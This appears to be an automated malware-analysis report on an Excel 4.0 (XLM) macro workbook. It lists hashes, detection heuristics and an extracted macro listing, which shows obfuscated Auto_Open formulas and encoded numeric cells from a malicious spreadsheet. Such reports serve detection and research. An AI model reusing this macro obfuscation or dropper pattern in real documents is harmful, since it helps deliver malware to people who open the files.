Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 44db25fdc74e3b16…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:42:45 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: df32023a4a40840957206b3a4842d747 SHA-1: 5976405557f8ea1cd9a1386134475238ddd741cd SHA-256: 44db25fdc74e3b169a2b702b64026aaf23ecb0026d18a15fc76de7eb9756a0c2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6864 bytes
SHA-256: 0aaf91acd0f028f0318bd289b0b5fd6b1033105a08e7a2c1b4da5efdccaada26
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vKXQnyPx
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B212 
' 0018     20 LABEL : Cell Value, String Constant - BxPyi len=0 
' 0018     22 LABEL : Cell Value, String Constant - EHArelj len=0 
' 0018     21 LABEL : Cell Value, String Constant - hPzssO len=0 
' 0018     20 LABEL : Cell Value, String Constant - JDVpS len=0 
' 0018     23 LABEL : Cell Value, String Constant - LXPzSjHQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - nKGTzWIVDE len=0 
' 0018     26 LABEL : Cell Value, String Constant - OvddvConRuy len=0 
' 0018     20 LABEL : Cell Value, String Constant - piCZv len=0 
' 0018     26 LABEL : Cell Value, String Constant - qPikztZaSzX len=0 
' 0018     22 LABEL : Cell Value, String Constant - qpjNQtH len=0 
' 0018     22 LABEL : Cell Value, String Constant - sWktRbP len=0 
' 0018     26 LABEL : Cell Value, String Constant - TtrfGEAriGu len=0 
' 0018     22 LABEL : Cell Value, String Constant - UqBtFsb len=0 
' 0018     26 LABEL : Cell Value, String Constant - XRFXnEfWoFK len=0 
' 0018     25 LABEL : Cell Value, String Constant - yKSAQzobCO len=0 
' 0018     25 LABEL : Cell Value, String Constant - ytYyxyEGMs len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZdoAuY len=0 
' 0018     20 LABEL : Cell Value, String Constant - zDZOm len=0 
' 0018     27 LABEL : Cell Value, String Constant - zGZwsaMVBLsc len=0 
' 0018     20 LABEL : Cell Value, String Constant - Zvral len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vKXQnyPx,Q42,"",-517.00000000000000000000
'  vKXQnyPx,Q43,"",-177.00000000000000000000
'  vKXQnyPx,Q44,"",-409.00000000000000000000
'  vKXQnyPx,Q45,"",-305.00000000000000000000
'  vKXQnyPx,Q46,"",330.00000000000000000000
'  vKXQnyPx,Q47,"",-759.00000000000000000000
'  vKXQnyPx,B97,"SET.NAME("qPikztZaSzX",0+VALUE("0"))",""
'  vKXQnyPx,B101,"SET.NAME("hPzssO",qPikztZaSzX)",""
'  vKXQnyPx,B103,"SET.NAME("qpjNQtH",qPikztZaSzX)",""
'  vKXQnyPx,B108,"SET.NAME("sWktRbP",COUNTA(OvddvConRuy))",""
'  vKXQnyPx,B113,"SET.NAME("BxPyi",COUNTA(EHArelj))",""
'  vKXQnyPx,B117,[],""
'  vKXQnyPx,B122,"SET.NAME("TtrfGEAriGu","")",""
'  vKXQnyPx,B127,"hPzssO",""
'  vKXQnyPx,B130,"SET.NAME("UqBtFsb",HLOOKUP("*",OvddvConRuy,hPzssO,FALSE))",""
'  vKXQnyPx,B135,"yKSAQzobCO",""
'  vKXQnyPx,B140,"SET.NAME("ytYyxyEGMs",qPikztZaSzX)",""
'  vKXQnyPx,B145,[],""
'  vKXQnyPx,B149,"ytYyxyEGMs",""
'  vKXQnyPx,B153,"zDZOm",""
'  vKXQnyPx,B156,"ZdoAuY",""
'  vKXQnyPx,B160,"piCZv",""
'  vKXQnyPx,B165,"SET.NAME("JDVpS",VALUE(HLOOKUP("*",EHArelj,piCZv,FALSE)))",""
'  vKXQnyPx,B169,"Zvral",""
'  vKXQnyPx,B174,"TtrfGEAriGu",""
'  vKXQnyPx,B178,"qpjNQtH",""
'  vKXQnyPx,B183,NEXT(),""
'  vKXQnyPx,B188,"LXPzSjHQ",""
'  vKXQnyPx,B193,[],""
'  vKXQnyPx,B198,"zGZwsaMVBLsc",""
'  vKXQnyPx,B203,NEXT(),""
'  vKXQnyPx,B208,RETURN(),""
'  vKXQnyPx,B238,"SET.NAME("XRFXnEfWoFK",B97)",""
'  vKXQnyPx,B242,"OvddvConRuy",""
'  vKXQnyPx,B246,"SET.NAME("EHArelj",R68C11)",""
'  vKXQnyPx,B251,"SET.NAME("zGZwsaMVBLsc",256)",""
'  vKXQnyPx,B253,"SET.NAME("nKGTzWIVDE",2)",""
'  vKXQnyPx,B255,XRFXnEfWoFK(),""
'  vKXQnyPx,B256,HALT(),""

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